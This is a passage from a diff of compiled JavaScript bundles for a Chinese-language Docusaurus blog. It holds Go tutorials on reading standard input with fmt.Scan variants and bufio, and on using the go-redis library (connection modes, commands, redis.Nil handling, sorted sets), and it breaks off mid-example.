error)\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"Scanln\u7c7b\u4f3cScan\uff0c\u5b83\u5728\u9047\u5230\u6362\u884c\u65f6\u624d\u505c\u6b62\u626b\u63cf\u3002\u6700\u540e\u4e00\u4e2a\u6570\u636e\u540e\u9762\u5fc5\u987b\u6709\u6362\u884c\u6216\u8005\u5230\u8fbe\u7ed3\u675f\u4f4d\u7f6e\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u672c\u51fd\u6570\u8fd4\u56de\u6210\u529f\u626b\u63cf\u7684\u6570\u636e\u4e2a\u6570\u548c\u9047\u5230\u7684\u4efb\u4f55\u9519\u8bef\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u5177\u4f53\u4ee3\u7801\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar (\n\t\tname string\n\t\tage int\n\t\tmarried bool\n\t)\n\tfmt.Scanln(&name, &age, &married)\n\tfmt.Printf("\u626b\u63cf\u7ed3\u679c name:%s age:%d married:%t \\n", name, age, married)\n}\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u5728\u7ec8\u7aef\u6267\u884c\uff0c\u5728\u7ec8\u7aef\u4f9d\u6b21\u8f93\u5165",(0,s.jsx)(e.code,{children:"\u5c0f\u738b\u5b50"}),"\u3001",(0,s.jsx)(e.code,{children:"28"}),"\u548c",(0,s.jsx)(e.code,{children:"false"}),"\u4f7f\u7528\u7a7a\u683c\u5206\u9694\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"$ ./scan_demo \n\u5c0f\u738b\u5b50 28 false\n\u626b\u63cf\u7ed3\u679c name:\u5c0f\u738b\u5b50 age:28 married:false \n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"fmt.Scanln"}),"\u9047\u5230\u56de\u8f66\u5c31\u7ed3\u675f\u626b\u63cf\u4e86\uff0c\u8fd9\u4e2a\u6bd4\u8f83\u5e38\u7528\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"bufionewreader",children:"bufio.NewReader"}),"\n",(0,s.jsxs)(e.p,{children:["\u6709\u65f6\u5019\u6211\u4eec\u60f3\u5b8c\u6574\u83b7\u53d6\u8f93\u5165\u7684\u5185\u5bb9\uff0c\u800c\u8f93\u5165\u7684\u5185\u5bb9\u53ef\u80fd\u5305\u542b\u7a7a\u683c\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0b\u53ef\u4ee5\u4f7f\u7528",(0,s.jsx)(e.code,{children:"bufio"}),"\u5305\u6765\u5b9e\u73b0\u3002\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func bufioDemo() {\n\treader := bufio.NewReader(os.Stdin) // \u4ece\u6807\u51c6\u8f93\u5165\u751f\u6210\u8bfb\u5bf9\u8c61\n\tfmt.Print("\u8bf7\u8f93\u5165\u5185\u5bb9\uff1a")\n\ttext, _ := reader.ReadString(\'\\n\') // \u8bfb\u5230\u6362\u884c\n\ttext = strings.TrimSpace(text)\n\tfmt.Printf("%#v\\n", text)\n}\n'})}),"\n",(0,s.jsx)(e.h3,{id:"fscan\u7cfb\u5217",children:"Fscan\u7cfb\u5217"}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u51e0\u4e2a\u51fd\u6570\u529f\u80fd\u5206\u522b\u7c7b\u4f3c\u4e8e",(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanln"}),"\u4e09\u4e2a\u51fd\u6570\uff0c\u53ea\u4e0d\u8fc7\u5b83\u4eec\u4e0d\u662f\u4ece\u6807\u51c6\u8f93\u5165\u4e2d\u8bfb\u53d6\u6570\u636e\u800c\u662f\u4ece",(0,s.jsx)(e.code,{children:"io.Reader"}),"\u4e2d\u8bfb\u53d6\u6570\u636e\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Fscan(r io.Reader, a ...interface{}) (n int, err error)\nfunc Fscanln(r io.Reader, a ...interface{}) (n int, err error)\nfunc Fscanf(r io.Reader, format string, a ...interface{}) (n int, err error)\n"})}),"\n",(0,s.jsx)(e.h3,{id:"sscan\u7cfb\u5217",children:"Sscan\u7cfb\u5217"}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u51e0\u4e2a\u51fd\u6570\u529f\u80fd\u5206\u522b\u7c7b\u4f3c\u4e8e",(0,s.jsx)(e.code,{children:"fmt.Scan"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanf"}),"\u3001",(0,s.jsx)(e.code,{children:"fmt.Scanln"}),"\u4e09\u4e2a\u51fd\u6570\uff0c\u53ea\u4e0d\u8fc7\u5b83\u4eec\u4e0d\u662f\u4ece\u6807\u51c6\u8f93\u5165\u4e2d\u8bfb\u53d6\u6570\u636e\u800c\u662f\u4ece\u6307\u5b9a\u5b57\u7b26\u4e32\u4e2d\u8bfb\u53d6\u6570\u636e\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func Sscan(str string, a ...interface{}) (n int, err error)\nfunc Sscanln(str string, a ...interface{}) (n int, err error)\nfunc Sscanf(str string, format string, a ...interface{}) (n int, err error)\n"})})]})}function h(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/d05a73e4.a056531b.js b/en/assets/js/d05a73e4.a056531b.js new file mode 100644 index 0000000..879188f --- /dev/null +++ b/en/assets/js/d05a73e4.a056531b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1240],{28453:(e,n,r)=>{r.d(n,{R:()=>l,x:()=>d});var t=r(96540);const i={},s=t.createContext(i);function l(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:l(e.components),t.createElement(s.Provider,{value:n},e.children)}},75701:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>x,frontMatter:()=>l,metadata:()=>t,toc:()=>o});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis","title":"Redis","description":"\u5728\u9879\u76ee\u5f00\u53d1\u4e2dredis\u7684\u4f7f\u7528\u4e5f\u6bd4\u8f83\u9891\u7e41\uff0c\u672c\u6587\u4ecb\u7ecd\u4e86Go\u8bed\u8a00\u4e2dgo-redis\u5e93\u7684\u57fa\u672c\u4f7f\u7528\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/13.GoLang-\u64cd\u4f5cRedis.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/13.GoLang-\u64cd\u4f5cRedis.md","tags":[],"version":"current","sidebarPosition":13,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Golang-\u64cd\u4f5cMySQL","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/Golang-\u64cd\u4f5cMySQL"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53"}}');var i=r(74848),s=r(28453);const l={},d="Redis",c={},o=[{value:"Redis\u4ecb\u7ecd",id:"redis\u4ecb\u7ecd",level:2},{value:"Redis\u652f\u6301\u7684\u6570\u636e\u7ed3\u6784",id:"redis\u652f\u6301\u7684\u6570\u636e\u7ed3\u6784",level:3},{value:"Redis\u5e94\u7528\u573a\u666f",id:"redis\u5e94\u7528\u573a\u666f",level:3},{value:"\u51c6\u5907Redis\u73af\u5883",id:"\u51c6\u5907redis\u73af\u5883",level:3},{value:"go-redis\u5e93",id:"go-redis\u5e93",level:2},{value:"\u5b89\u88c5",id:"\u5b89\u88c5",level:3},{value:"\u8fde\u63a5",id:"\u8fde\u63a5",level:3},{value:"\u666e\u901a\u8fde\u63a5\u6a21\u5f0f",id:"\u666e\u901a\u8fde\u63a5\u6a21\u5f0f",level:4},{value:"TLS\u8fde\u63a5\u6a21\u5f0f",id:"tls\u8fde\u63a5\u6a21\u5f0f",level:4},{value:"Redis Sentinel\u6a21\u5f0f",id:"redis-sentinel\u6a21\u5f0f",level:4},{value:"Redis Cluster\u6a21\u5f0f",id:"redis-cluster\u6a21\u5f0f",level:4},{value:"\u57fa\u672c\u4f7f\u7528",id:"\u57fa\u672c\u4f7f\u7528",level:2},{value:"\u6267\u884c\u547d\u4ee4",id:"\u6267\u884c\u547d\u4ee4",level:3},{value:"\u6267\u884c\u4efb\u610f\u547d\u4ee4",id:"\u6267\u884c\u4efb\u610f\u547d\u4ee4",level:3},{value:"redis.Nil",id:"redisnil",level:3},{value:"\u5176\u4ed6\u793a\u4f8b",id:"\u5176\u4ed6\u793a\u4f8b",level:2},{value:"zset\u793a\u4f8b",id:"zset\u793a\u4f8b",level:3},{value:"\u626b\u63cf\u6216\u904d\u5386\u6240\u6709key",id:"\u626b\u63cf\u6216\u904d\u5386\u6240\u6709key",level:3},{value:"Pipeline",id:"pipeline",level:2},{value:"\u4e8b\u52a1",id:"\u4e8b\u52a1",level:2},{value:"Watch",id:"watch",level:3}];function a(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",li:"li",p:"p",pre:"pre",ul:"ul",...(0,s.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"redis",children:"Redis"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u9879\u76ee\u5f00\u53d1\u4e2dredis\u7684\u4f7f\u7528\u4e5f\u6bd4\u8f83\u9891\u7e41\uff0c\u672c\u6587\u4ecb\u7ecd\u4e86Go\u8bed\u8a00\u4e2d",(0,i.jsx)(n.code,{children:"go-redis"}),"\u5e93\u7684\u57fa\u672c\u4f7f\u7528\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"redis\u4ecb\u7ecd",children:"Redis\u4ecb\u7ecd"}),"\n",(0,i.jsx)(n.p,{children:"Redis\u662f\u4e00\u4e2a\u5f00\u6e90\u7684\u5185\u5b58\u6570\u636e\u5e93\uff0cRedis\u63d0\u4f9b\u4e86\u591a\u79cd\u4e0d\u540c\u7c7b\u578b\u7684\u6570\u636e\u7ed3\u6784\uff0c\u5f88\u591a\u4e1a\u52a1\u573a\u666f\u4e0b\u7684\u95ee\u9898\u90fd\u53ef\u4ee5\u5f88\u81ea\u7136\u5730\u6620\u5c04\u5230\u8fd9\u4e9b\u6570\u636e\u7ed3\u6784\u4e0a\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u901a\u8fc7\u590d\u5236\u3001\u6301\u4e45\u5316\u548c\u5ba2\u6237\u7aef\u5206\u7247\u7b49\u7279\u6027\uff0c\u6211\u4eec\u53ef\u4ee5\u5f88\u65b9\u4fbf\u5730\u5c06Redis\u6269\u5c55\u6210\u4e00\u4e2a\u80fd\u591f\u5305\u542b\u6570\u767eGB\u6570\u636e\u3001\u6bcf\u79d2\u5904\u7406\u4e0a\u767e\u4e07\u6b21\u8bf7\u6c42\u7684\u7cfb\u7edf\u3002"}),"\n",(0,i.jsx)(n.h3,{id:"redis\u652f\u6301\u7684\u6570\u636e\u7ed3\u6784",children:"Redis\u652f\u6301\u7684\u6570\u636e\u7ed3\u6784"}),"\n",(0,i.jsx)(n.p,{children:"Redis\u652f\u6301\u8bf8\u5982\u5b57\u7b26\u4e32\uff08string\uff09\u3001\u54c8\u5e0c\uff08hashe\uff09\u3001\u5217\u8868\uff08list\uff09\u3001\u96c6\u5408\uff08set\uff09\u3001\u5e26\u8303\u56f4\u67e5\u8be2\u7684\u6392\u5e8f\u96c6\u5408\uff08sorted set\uff09\u3001bitmap\u3001hyperloglog\u3001\u5e26\u534a\u5f84\u67e5\u8be2\u7684\u5730\u7406\u7a7a\u95f4\u7d22\u5f15\uff08geospatial index\uff09\u548c\u6d41\uff08stream\uff09\u7b49\u6570\u636e\u7ed3\u6784\u3002"}),"\n",(0,i.jsx)(n.h3,{id:"redis\u5e94\u7528\u573a\u666f",children:"Redis\u5e94\u7528\u573a\u666f"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u7f13\u5b58\u7cfb\u7edf\uff0c\u51cf\u8f7b\u4e3b\u6570\u636e\u5e93\uff08MySQL\uff09\u7684\u538b\u529b\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u8ba1\u6570\u573a\u666f\uff0c\u6bd4\u5982\u5fae\u535a\u3001\u6296\u97f3\u4e2d\u7684\u5173\u6ce8\u6570\u548c\u7c89\u4e1d\u6570\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u70ed\u95e8\u6392\u884c\u699c\uff0c\u9700\u8981\u6392\u5e8f\u7684\u573a\u666f\u7279\u522b\u9002\u5408\u4f7f\u7528ZSET\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u5229\u7528 LIST \u53ef\u4ee5\u5b9e\u73b0\u961f\u5217\u7684\u529f\u80fd\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u5229\u7528 HyperLogLog \u7edf\u8ba1UV\u3001PV\u7b49\u6570\u636e\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u4f7f\u7528 geospatial index \u8fdb\u884c\u5730\u7406\u4f4d\u7f6e\u76f8\u5173\u67e5\u8be2\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.h3,{id:"\u51c6\u5907redis\u73af\u5883",children:"\u51c6\u5907Redis\u73af\u5883"}),"\n",(0,i.jsx)(n.p,{children:"\u8bfb\u8005\u53ef\u4ee5\u9009\u62e9\u5728\u672c\u673a\u5b89\u88c5 redis \u6216\u4f7f\u7528\u4e91\u6570\u636e\u5e93\uff0c\u8fd9\u91cc\u76f4\u63a5\u4f7f\u7528Docker\u542f\u52a8\u4e00\u4e2a redis \u73af\u5883\uff0c\u65b9\u4fbf\u5b66\u4e60\u4f7f\u7528\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u542f\u52a8\u4e00\u4e2a\u540d\u4e3a redis507 \u7684 5.0.7 \u7248\u672c\u7684 redis server\u73af\u5883\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"docker run --name redis507 -p 6379:6379 -d redis:5.0.7\n"})}),"\n",(0,i.jsx)(n.p,{children:"**\u6ce8\u610f\uff1a**\u6b64\u5904\u7684\u7248\u672c\u3001\u5bb9\u5668\u540d\u548c\u7aef\u53e3\u53f7\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u9700\u8981\u8bbe\u7f6e\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u542f\u52a8\u4e00\u4e2a redis-cli \u8fde\u63a5\u4e0a\u9762\u7684 redis server\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"docker run -it --network host --rm redis:5.0.7 redis-cli\n"})}),"\n",(0,i.jsx)(n.h2,{id:"go-redis\u5e93",children:"go-redis\u5e93"}),"\n",(0,i.jsx)(n.h3,{id:"\u5b89\u88c5",children:"\u5b89\u88c5"}),"\n",(0,i.jsxs)(n.p,{children:["Go \u793e\u533a\u4e2d\u76ee\u524d\u6709\u5f88\u591a\u6210\u719f\u7684 redis client \u5e93\uff0c\u6bd4\u5982[",(0,i.jsx)(n.a,{href:"https://github.com/gomodule/redigo",children:"https://github.com/gomodule/redigo"})," \u548chttps://github.com/go-redis/redis\uff0c\u8bfb\u8005\u53ef\u4ee5\u81ea\u884c\u9009\u62e9\u9002\u5408\u81ea\u5df1\u7684\u5e93\u3002\u672c\u4e66\u4f7f\u7528 go-redis \u8fd9\u4e2a\u5e93\u6765\u64cd\u4f5c Redis \u6570\u636e\u5e93\u3002"]}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u4e0b\u5b89\u88c5 go-redis \u5e93\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"go get github.com/go-redis/redis/v8\n"})}),"\n",(0,i.jsx)(n.h3,{id:"\u8fde\u63a5",children:"\u8fde\u63a5"}),"\n",(0,i.jsx)(n.h4,{id:"\u666e\u901a\u8fde\u63a5\u6a21\u5f0f",children:"\u666e\u901a\u8fde\u63a5\u6a21\u5f0f"}),"\n",(0,i.jsx)(n.p,{children:"go-redis \u5e93\u4e2d\u4f7f\u7528 redis.NewClient \u51fd\u6570\u8fde\u63a5 Redis \u670d\u52a1\u5668\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'rdb := redis.NewClient(&redis.Options{\n\tAddr: "localhost:6379",\n\tPassword: "", // \u5bc6\u7801\n\tDB: 0, // \u6570\u636e\u5e93\n\tPoolSize: 20, // \u8fde\u63a5\u6c60\u5927\u5c0f\n})\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528 redis.ParseURL \u51fd\u6570\u4ece\u8868\u793a\u6570\u636e\u6e90\u7684\u5b57\u7b26\u4e32\u4e2d\u89e3\u6790\u5f97\u5230 Redis \u670d\u52a1\u5668\u7684\u914d\u7f6e\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'opt, err := redis.ParseURL("redis://:@localhost:6379/")\nif err != nil {\n\tpanic(err)\n}\n\nrdb := redis.NewClient(opt)\n'})}),"\n",(0,i.jsx)(n.h4,{id:"tls\u8fde\u63a5\u6a21\u5f0f",children:"TLS\u8fde\u63a5\u6a21\u5f0f"}),"\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u4f7f\u7528\u7684\u662f TLS \u8fde\u63a5\u65b9\u5f0f\uff0c\u5219\u9700\u8981\u4f7f\u7528 tls.Config \u914d\u7f6e\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'rdb := redis.NewClient(&redis.Options{\n\tTLSConfig: &tls.Config{\n\t\tMinVersion: tls.VersionTLS12,\n\t\t// Certificates: []tls.Certificate{cert},\n // ServerName: "your.domain.com",\n\t},\n})\n'})}),"\n",(0,i.jsx)(n.h4,{id:"redis-sentinel\u6a21\u5f0f",children:"Redis Sentinel\u6a21\u5f0f"}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u8fde\u63a5\u5230\u7531 Redis Sentinel \u7ba1\u7406\u7684 Redis \u670d\u52a1\u5668\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'rdb := redis.NewFailoverClient(&redis.FailoverOptions{\n MasterName: "master-name",\n SentinelAddrs: []string{":9126", ":9127", ":9128"},\n})\n'})}),"\n",(0,i.jsx)(n.h4,{id:"redis-cluster\u6a21\u5f0f",children:"Redis Cluster\u6a21\u5f0f"}),"\n",(0,i.jsx)(n.p,{children:"\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u8fde\u63a5\u5230 Redis Cluster\uff0cgo-redis \u652f\u6301\u6309\u5ef6\u8fdf\u6216\u968f\u673a\u8def\u7531\u547d\u4ee4\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'rdb := redis.NewClusterClient(&redis.ClusterOptions{\n Addrs: []string{":7000", ":7001", ":7002", ":7003", ":7004", ":7005"},\n\n // \u82e5\u8981\u6839\u636e\u5ef6\u8fdf\u6216\u968f\u673a\u8def\u7531\u547d\u4ee4\uff0c\u8bf7\u542f\u7528\u4ee5\u4e0b\u547d\u4ee4\u4e4b\u4e00\n // RouteByLatency: true,\n // RouteRandomly: true,\n})\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u57fa\u672c\u4f7f\u7528",children:"\u57fa\u672c\u4f7f\u7528"}),"\n",(0,i.jsx)(n.h3,{id:"\u6267\u884c\u547d\u4ee4",children:"\u6267\u884c\u547d\u4ee4"}),"\n",(0,i.jsx)(n.p,{children:"\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u6f14\u793a\u4e86 go-redis \u5e93\u7684\u57fa\u672c\u4f7f\u7528\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// doCommand go-redis\u57fa\u672c\u4f7f\u7528\u793a\u4f8b\nfunc doCommand() {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\t// \u6267\u884c\u547d\u4ee4\u83b7\u53d6\u7ed3\u679c\n\tval, err := rdb.Get(ctx, "key").Result()\n\tfmt.Println(val, err)\n\n\t// \u5148\u83b7\u53d6\u5230\u547d\u4ee4\u5bf9\u8c61\n\tcmder := rdb.Get(ctx, "key")\n\tfmt.Println(cmder.Val()) // \u83b7\u53d6\u503c\n\tfmt.Println(cmder.Err()) // \u83b7\u53d6\u9519\u8bef\n\n\t// \u76f4\u63a5\u6267\u884c\u547d\u4ee4\u83b7\u53d6\u9519\u8bef\n\terr = rdb.Set(ctx, "key", 10, time.Hour).Err()\n\n\t// \u76f4\u63a5\u6267\u884c\u547d\u4ee4\u83b7\u53d6\u503c\n\tvalue := rdb.Get(ctx, "key").Val()\n\tfmt.Println(value)\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"\u6267\u884c\u4efb\u610f\u547d\u4ee4",children:"\u6267\u884c\u4efb\u610f\u547d\u4ee4"}),"\n",(0,i.jsx)(n.p,{children:"go-redis \u8fd8\u63d0\u4f9b\u4e86\u4e00\u4e2a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u6216\u81ea\u5b9a\u4e49\u547d\u4ee4\u7684 Do \u65b9\u6cd5\uff0c\u7279\u522b\u662f\u4e00\u4e9b go-redis \u5e93\u6682\u65f6\u4e0d\u652f\u6301\u7684\u547d\u4ee4\u90fd\u53ef\u4ee5\u4f7f\u7528\u8be5\u65b9\u6cd5\u6267\u884c\u3002\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\u5982\u4e0b\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// doDemo rdb.Do \u65b9\u6cd5\u4f7f\u7528\u793a\u4f8b\nfunc doDemo() {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\t// \u76f4\u63a5\u6267\u884c\u547d\u4ee4\u83b7\u53d6\u9519\u8bef\n\terr := rdb.Do(ctx, "set", "key", 10, "EX", 3600).Err()\n\tfmt.Println(err)\n\n\t// \u6267\u884c\u547d\u4ee4\u83b7\u53d6\u7ed3\u679c\n\tval, err := rdb.Do(ctx, "get", "key").Result()\n\tfmt.Println(val, err)\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"redisnil",children:"redis.Nil"}),"\n",(0,i.jsx)(n.p,{children:"go-redis \u5e93\u63d0\u4f9b\u4e86\u4e00\u4e2a redis.Nil \u9519\u8bef\u6765\u8868\u793a Key \u4e0d\u5b58\u5728\u7684\u9519\u8bef\u3002\u56e0\u6b64\u5728\u4f7f\u7528 go-redis \u65f6\u9700\u8981\u6ce8\u610f\u5bf9\u8fd4\u56de\u9519\u8bef\u7684\u5224\u65ad\u3002\u5728\u67d0\u4e9b\u573a\u666f\u4e0b\u6211\u4eec\u5e94\u8be5\u533a\u522b\u5904\u7406 redis.Nil \u548c\u5176\u4ed6\u4e0d\u4e3a nil \u7684\u9519\u8bef\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// getValueFromRedis redis.Nil\u5224\u65ad\nfunc getValueFromRedis(key, defaultValue string) (string, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\tval, err := rdb.Get(ctx, key).Result()\n\tif err != nil {\n\t\t// \u5982\u679c\u8fd4\u56de\u7684\u9519\u8bef\u662fkey\u4e0d\u5b58\u5728\n\t\tif errors.Is(err, redis.Nil) {\n\t\t\treturn defaultValue, nil\n\t\t}\n\t\t// \u51fa\u5176\u4ed6\u9519\u4e86\n\t\treturn "", err\n\t}\n\treturn val, nil\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u5176\u4ed6\u793a\u4f8b",children:"\u5176\u4ed6\u793a\u4f8b"}),"\n",(0,i.jsx)(n.h3,{id:"zset\u793a\u4f8b",children:"zset\u793a\u4f8b"}),"\n",(0,i.jsx)(n.p,{children:"\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u6f14\u793a\u4e86\u5982\u4f55\u4f7f\u7528 go-redis \u5e93\u64cd\u4f5c zset\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'// zsetDemo \u64cd\u4f5czset\u793a\u4f8b\nfunc zsetDemo() {\n\t// key\n\tzsetKey := "language_rank"\n\t// value\n\tlanguages := []*redis.Z{\n\t\t{Score: 90.0, Member: "Golang"},\n\t\t{Score: 98.0, Member: "Java"},\n\t\t{Score: 95.0, Member: "Python"},\n\t\t{Score: 97.0, Member: "JavaScript"},\n\t\t{Score: 99.0, Member: "C/C++"},\n\t}\n\tctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)\n\tdefer cancel()\n\n\t// ZADD\n\terr := rdb.ZAdd(ctx, zsetKey, languages...).Err()\n\tif err != nil {\n\t\tfmt.Printf("zadd failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println("zadd success")\n\n\t// \u628aGolang\u7684\u5206\u6570\u52a010\n\tnewScore, err := rdb.ZIncrBy(ctx, zsetKey, 10.0, "Golang").Result()\n\tif err != nil {\n\t\tfmt.Printf("zincrby failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Printf("Golang\'s score is %f now.\\n", newScore)\n\n\t// \u53d6\u5206\u6570\u6700\u9ad8\u76843\u4e2a\n\tret := rdb.ZRevRangeWithScores(ctx, zsetKey, 0, 2).Val()\n\tfor _, z := range ret {\n\t\tfmt.Println(z.Member, z.Score)\n\t}\n\n\t// \u53d695~100\u5206\u7684\n\top := &redis.ZRangeBy{\n\t\tMin: "95",\n\t\tMax: "100",\n\t}\n\tret, err = rdb.ZRangeByScoreWithScores(ctx, zsetKey, op).Result()\n\tif err != nil {\n\t\tfmt.Printf("zrangebyscore failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfor _, z := range ret {\n\t\tfmt.Println(z.Member, z.Score)\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.p,{children:"\u6267\u884c\u4e0a\u9762\u7684\u51fd\u6570\u5c06\u5f97\u5230\u5982\u4e0b\u8f93\u51fa\u7ed3\u679c\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-bash",children:"zadd success\nGolang's score is 100.000000 now.\nGolang 100\nC/C++ 99\nJava 98\nPython 95\nJavaScript 97\nJava 98\nC/C++ 99\nGolang 100\n"})}),"\n",(0,i.jsx)(n.h3,{id:"\u626b\u63cf\u6216\u904d\u5386\u6240\u6709key",children:"\u626b\u63cf\u6216\u904d\u5386\u6240\u6709key"}),"\n",(0,i.jsxs)(n.p,{children:["\u4f60\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(n.code,{children:"KEYS prefix:*"})," \u547d\u4ee4\u6309\u524d\u7f00\u83b7\u53d6\u6240\u6709 key\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'vals, err := rdb.Keys(ctx, 